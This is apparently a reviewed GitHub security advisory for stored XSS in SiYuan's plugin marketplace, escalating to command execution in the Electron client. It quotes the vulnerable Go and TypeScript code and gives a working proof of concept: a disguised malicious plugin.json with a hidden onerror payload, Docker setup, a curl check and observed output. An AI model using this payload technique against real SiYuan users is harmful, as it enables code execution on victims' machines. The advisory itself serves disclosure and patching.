github.com/siyuan-note/siyuan/kernel
Affected
- introduced
0, last affected0.0.0-20260421031503-96dfe0bea474(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-45375, GO-2026-5001
SiYuan Bazaar marketplace renders unescaped package name and version metadata, allowing stored XSS and Electron code execution
Summary
SiYuan's Bazaar (community marketplace) renders the name and version fields of a package's plugin.json (and the equivalent theme.json / template.json / widget.json / icon.json) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper sanitizePackageDisplayStrings in kernel/bazaar/package.go HTML-escapes only Author, DisplayName, and Description — Name and Version flow through to the renderer raw. The frontend at app/src/config/bazaar.ts substitutes them into HTML template strings via ${item.preferredName} / ${data.name} / v${data.version} and assigns the result to innerHTML. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab.
Because the desktop client is built on Electron with nodeIntegration: true, contextIsolation: false, and webSecurity: false (app/electron/main.js:407-411), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim's account. The trigger is zero-click on the list view — opening Settings → Marketplace → Downloaded → Plugins is sufficient; no Install/Update click is required.
A second preferredName path exists: when displayName: {} (empty locale map), GetPreferredLocaleString falls back to the unescaped pkg.Name, so even a normal-looking visible plugin name carries the payload through the same sink.
Details
Server-side allowlist — `kernel/bazaar/package.go:134-145`:
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil { return }
pkg.Author = html.EscapeString(pkg.Author)
for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
// pkg.Name and pkg.Version are NOT escaped
}
`PreferredName` fallback — `kernel/bazaar/installed.go:59` and `kernel/bazaar/package.go:148-162`:
// installed.go:59
pkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name)
// package.go:148-162
func GetPreferredLocaleString(m LocaleStrings, fallback string) string {
if len(m) == 0 { return fallback } // ← unescaped pkg.Name reaches the renderer
if v := strings.TrimSpace(m[util.Lang]); v != "" { return v }
if v := strings.TrimSpace(m["default"]); v != "" { return v }
if v := strings.TrimSpace(m["en_US"]); v != "" { return v }
return fallback
}
Online marketplace path skips the kernel sanitizer — `kernel/bazaar/package.go:127` + `kernel/bazaar/bazaar.go:48`:
// package.go:127 (only the local install path calls sanitizePackageDisplayStrings)
sanitizePackageDisplayStrings(ret)
buildBazaarPackageWithMetadata (bazaar.go:48), used to build the online marketplace listing, does not call the kernel's sanitizePackageDisplayStrings. Sanitization for the online stage is delegated to the siyuan-note/bazaar GitHub-Action workflow.
The upstream workflow has the same gap — `siyuan-note/bazaar/actions/stage/main.go:897-909`:
// sanitizePackageDisplayStrings 对集市包直接显示的信息做 HTML 转义,避免 XSS。
// (跟思源内核 kernel/bazaar/package.go 保持一致)
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil { return }
pkg.Author = html.EscapeString(pkg.Author)
for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
}
The function is byte-identical to the kernel helper — the Chinese comment translates to *"(kept in sync with the SiYuan kernel kernel/bazaar/package.go)"*. It is invoked at main.go:707, 715, 723 once per package type during staging. Name, Version, and Keywords are unescaped at both layers: the kernel for local installs, the workflow for online listings. A malicious plugin.json submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing.
Frontend sinks — `app/src/config/bazaar.ts`:
// :430 — installed-plugin card list (zero-click)
${item.preferredName}
// :526 — package detail view
<a href="${data.repoURL}" ... title="GitHub Repo">${data.name}</a>
// :540 — package detail view, version stripe
<div ... style="line-height: 20px;">${window.siyuan.languages.currentVer}<br>v${data.version}</div>
The constructed template strings are subsequently assigned to bazaar.element.innerHTML / readmeElement.innerHTML / mdElement.innerHTML (lines 358, 472, 512, 600).
Renderer privilege boundary — `app/electron/main.js:407-411`:
webPreferences: {
nodeIntegration: true,
webviewTag: true,
webSecurity: false,
contextIsolation: false,
}
JavaScript executing in the marketplace tab can call require('child_process').exec(...) directly, escalating DOM XSS to OS command execution.
PoC
End-to-end verified against the official b3log/siyuan:v3.6.5 Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron child_process.exec payload.
1. Run a stock SiYuan v3.6.5 kernel:
mkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin
docker run -d --name siyuan-poc -p 16806:6806 \
-v /tmp/siyuan-poc-ws:/siyuan/workspace \
-e SIYUAN_ACCESS_AUTH_CODE=test123 \
b3log/siyuan:v3.6.5 \
--workspace=/siyuan/workspace --accessAuthCode=test123
2. Plant a malicious plugin manifest at `/tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json`:
{
"name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"displayName": {},
"description": {"default": "A small toolkit of markdown helpers - table sort, link checker, wordcount, etc."},
"author": "markdown-utils",
"version": "1.4.2",
"url": "https://github.com/markdown-utils/markdown-utilities",
"backends": ["all"],
"frontends": ["all"]
}
The visible portion of the name field is the literal string Markdown Utilities. The <img> tag is rendered with display:none, so the marketplace card looks like a legitimate plugin entry — no broken-image icon, no suspicious text.
3. Verify the kernel returns the unescaped payload:
Authenticate via http://127.0.0.1:16806/ (auth code test123), then call the API as the logged-in user:
curl -s -b 'siyuan=<session-cookie>' \
-X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \
-H 'Content-Type: application/json' \
-d '{"frontend":"desktop","keyword":""}'
Observed (verbatim):
{
"preferredName": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"version": "1.4.2"
}
The HTML payload arrives at the client unmodified.
4. Trigger via the UI:
In a browser logged into the running SiYuan instance, open Settings → Marketplace → Downloaded → Plugins. The marketplace card list renders, bazaar.ts:430 substitutes ${item.preferredName} into the card HTML, the result is assigned to bazaar.element.innerHTML, the browser parses the <img> element, fails to load src=x, fires onerror, and `alert("SiYuan Bazaar XSS")` pops. The card itself displays as a normal-looking "Markdown Utilities" entry; the malicious markup is invisible.
Critical Basis: The source's own band: CRITICAL
0, last affected 0.0.0-20260421031503-96dfe0bea474 (semver)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0